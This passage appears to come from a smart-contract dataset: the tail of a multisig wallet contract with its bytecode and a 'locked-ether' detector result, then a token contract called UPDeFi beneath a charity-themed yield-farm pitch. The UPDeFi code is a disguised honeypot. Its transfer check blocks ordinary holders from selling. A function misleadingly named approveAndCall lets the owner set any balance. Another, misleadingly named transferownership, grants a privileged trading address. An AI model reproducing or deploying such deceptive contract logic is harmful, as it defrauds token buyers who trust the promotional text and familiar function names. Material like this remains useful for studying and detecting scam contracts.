owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint256 i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint256 _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction( address destination, uint256 value, bytes data ) public returns (uint256 transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint256 transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint256 transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call( address destination, uint256 value, uint256 dataLength, bytes data ) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint256 transactionId) public constant returns (bool) { uint256 count = 0; for (uint256 i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction( address destination, uint256 value, bytes data ) internal notNull(destination) returns (uint256 transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint256 transactionId) public constant returns (uint256 count) { for (uint256 i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint256 count) { for (uint256 i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint256 transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint256 count = 0; uint256 i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds( uint256 from, uint256 to, bool pending, bool executed ) public constant returns (uint256[] _transactionIds) { uint256[] memory transactionIdsTemp = new uint256[](transactionCount); uint256 count = 0; uint256 i; for (i = 0; i < transactionCount; i++) if ((pending && !transactions[i].executed) || (executed && transactions[i].executed)) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint256[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610182578063150b7a02146101e5578063173825d9146102db57806320ea8d86146103145780632f54bf6e146103375780633411c81c1461038857806354741525146103e25780637065cb4814610426578063784547a71461045f5780638b51d13f1461049a5780639ace38c2146104d1578063a0e67e2b146105cf578063a8abe69a1461063a578063b5dc40c3146106d2578063b77bf6001461074b578063ba51a6df14610774578063c01a8c8414610797578063c6427474146107ba578063d74f8edd14610853578063dc8452cd1461087c578063e20056e6146108a5578063ee22610b146108fd575b5b600034111561017f573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018d57600080fd5b6101a36004808035906020019091905050610920565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101f057600080fd5b610287600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610960565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34156102e657600080fd5b610312600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610993565b005b341561031f57600080fd5b6103356004808035906020019091905050610c36565b005b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610de2565b604051808215151515815260200191505060405180910390f35b341561039357600080fd5b6103c8600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e02565b604051808215151515815260200191505060405180910390f35b34156103ed57600080fd5b610410600480803515159060200190919080351515906020019091905050610e31565b6040518082815260200191505060405180910390f35b341561043157600080fd5b61045d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec5565b005b341561046a57600080fd5b61048060048080359060200190919050506110cd565b604051808215151515815260200191505060405180910390f35b34156104a557600080fd5b6104bb60048080359060200190919050506111b5565b6040518082815260200191505060405180910390f35b34156104dc57600080fd5b6104f26004808035906020019091905050611284565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156105bd5780601f10610592576101008083540402835291602001916105bd565b820191906000526020600020905b8154815290600101906020018083116105a057829003601f168201915b50509550505050505060405180910390f35b34156105da57600080fd5b6105e26112e0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106265780820151818401525b60208101905061060a565b505050509050019250505060405180910390f35b341561064557600080fd5b61067a600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611375565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106be5780820151818401525b6020810190506106a2565b505050509050019250505060405180910390f35b34156106dd57600080fd5b6106f360048080359060200190919050506114d6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156107375780820151818401525b60208101905061071b565b505050509050019250505060405180910390f35b341561075657600080fd5b61075e611707565b6040518082815260200191505060405180910390f35b341561077f57600080fd5b610795600480803590602001909190505061170d565b005b34156107a257600080fd5b6107b860048080359060200190919050506117ca565b005b34156107c557600080fd5b61083d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506119ab565b6040518082815260200191505060405180910390f35b341561085e57600080fd5b6108666119cb565b6040518082815260200191505060405180910390f35b341561088757600080fd5b61088f6119d0565b6040518082815260200191505060405180910390f35b34156108b057600080fd5b6108fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119d6565b005b341561090857600080fd5b61091e6004808035906020019091905050611cf4565b005b60038181548110151561092f57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000807f150b7a020000000000000000000000000000000000000000000000000000000090508091505b50949350505050565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109cf57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610a2857600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610bb4578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610abb57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ba6576003600160038054905003815481101515610b1b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b5757fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bb4565b5b8180600101925050610a85565b6001600381818054905003915081610bcc919061211c565b506003805490506004541115610beb57610bea60038054905061170d565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c8f57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cfa57600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610d2a57600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610ebd57838015610e70575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610ea35750828015610ea2575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610eaf576001820191505b5b8080600101915050610e39565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eff57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5957600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8057600080fd5b60016003805490500160045460328211158015610f9d5750818111155b8015610faa575060008114155b8015610fb7575060008214155b1515610fc257600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506003805480600101828161102e9190612148565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b6003805490508110156111ad5760016000858152602001908152602001600020600060038381548110151561110b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561118c576001820191505b60045482141561119f57600192506111ae565b5b80806001019150506110da565b5b5050919050565b600080600090505b60038054905081101561127d576001600084815260200190815260200160002060006003838154811015156111ee57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561126f576001820191505b5b80806001019150506111bd565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112e8612174565b600380548060200260200160405190810160405280929190818152602001828054801561136a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611320575b505050505090505b90565b61137d612188565b611385612188565b6000806005546040518059106113985750595b908082528060200260200182016040525b50925060009150600090505b600554811015611456578580156113ec575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061141f575084801561141e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156114485780838381518110151561143357fe5b90602001906020020181815250506001820191505b5b80806001019150506113b5565b8787036040518059106114665750595b908082528060200260200182016040525b5093508790505b868110156114ca57828181518110151561149457fe5b90602001906020020151848983038151811015156114ae57fe5b90602001906020020181815250505b808060010191505061147e565b5b505050949350505050565b6114de612174565b6114e6612174565b6000806003805490506040518059106114fc5750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561165f5760016000868152602001908152602001600020600060038381548110151561154a57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611651576003818154811015156115d357fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561160e57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b8080600101915050611519565b8160405180591061166d5750595b908082528060200260200182016040525b509350600090505b818110156116fe57828181518110151561169c57fe5b9060200190602002015184828151811015156116b457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611686565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174757600080fd5b600380549050816032821115801561175f5750818111155b801561176c575060008114155b8015611779575060008214155b151561178457600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561182357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561187f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118eb57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a36119a085611cf4565b5b5b50505b505b5050565b60006119b8848484611fa0565b90506119c3816117ca565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a1257600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a6b57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611ac557600080fd5b600092505b600380549050831015611bb3578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611afd57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ba55783600384815481101515611b5657fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611bb3565b5b8280600101935050611aca565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d4f57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611dba57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611dea57600080fd5b611df3866110cd565b15611f9457600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611f118560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f075780601f10611edc57610100808354040283529160200191611f07565b820191906000526020600020905b815481529060010190602001808311611eea57829003601f168201915b50505050506120f4565b15611f4857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611f93565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611fc957600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201908051906020019061208892919061219c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161214357818360005260206000209182019101612142919061221c565b5b505050565b81548183558181151161216f5781836000526020600020918201910161216e919061221c565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106121dd57805160ff191683800117855561220b565b8280016001018555821561220b579182015b8281111561220a5782518255916020019190600101906121ef565b5b509050612218919061221c565b5090565b61223e91905b8082111561223a576000816000905550600101612222565b5090565b905600a165627a7a723058203736dfbd2198318b4d3388a3d50a2b7c071e211750cab82422ba4239903946140029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
545
0x11fef700a4801639871372d75d039755ddd0dc20
/** *Submitted for verification at Etherscan.io on 2021-05-04 */ /* Hello World As early adopters of the ETH Yield Farming projects we’ve been extremely excited about the new opportunities at hand. We’ve studied hundreds of projects that have been born in the past few months, some fantastic, with dedicated and honest teams behind them. Some not so fantastic, with bad fundamentals, low trust and scammy procedures. Yet it still is fascinating to see how this segment of the vast cryptocurrency world has been developing at light speed, and its resiliance during some of the recent bitcoin dips. It made us believe in these dedicated communities even more and we finally feel ready to start our own project. The bare concept of a Yield Farm is quickly becoming an expired idea though, unless you fuel it with an interesting concept that differentiates your project from the other thousands of projects identical to yours. Having insane APRs and a meme worthy name is great for a quick giggle, but we decided to take it one step further and implement a real meaning into our project, otherwise we wouldn’t be doing it. What is UpDefi? UpDefi is the new Yield Platform that allows you to join staking pools to farm $UP, our very own token. We’ve prepared lots of features to protect your coins, avoid rug pulls, block whales from market manipulation and much more. And the best part?… We’re doing it all for a good cause. One third (1/3) of our deposit fees will be donated to Ups.org and other similar projects. The money will go towards a separate address that will be public to our community. And we will obviously have proof to back our donations, which will also be trackable by our users through the blockchain. Bitcoin has been horrible for the environment so we’re trying to help the environment, help you receive $UP tokens and have a safe platform where you can hold and stake your coins. We’ll keep you updated with more info on everything happening. Launch Details, Presale, Tokenomics, Timelock Info, Launch Feature List, Future Feature List, Referral Program and many more detailed updates will be coming your way on a daily basis until launch. Make sure to check out our Litepaper if you want more info on our short and long term goals. The litepaper will be available for download tomorrow on the 16th of March 2021, on Updefi.org. On the 17th of March 2021 we will also release our GitHub publicly. More info on that through Twitter tomorrow. Our docs.Updefi.org is coming out this week as well. To have immediate updates on everything happening follow our Twitter (@Updefi )and join our Telegram channel. We will try to answer as many questions as possible and help you out on your Up farming journey. Have an oxygen packed day, The UpDefi Team! 🆙 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UPDeFi { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
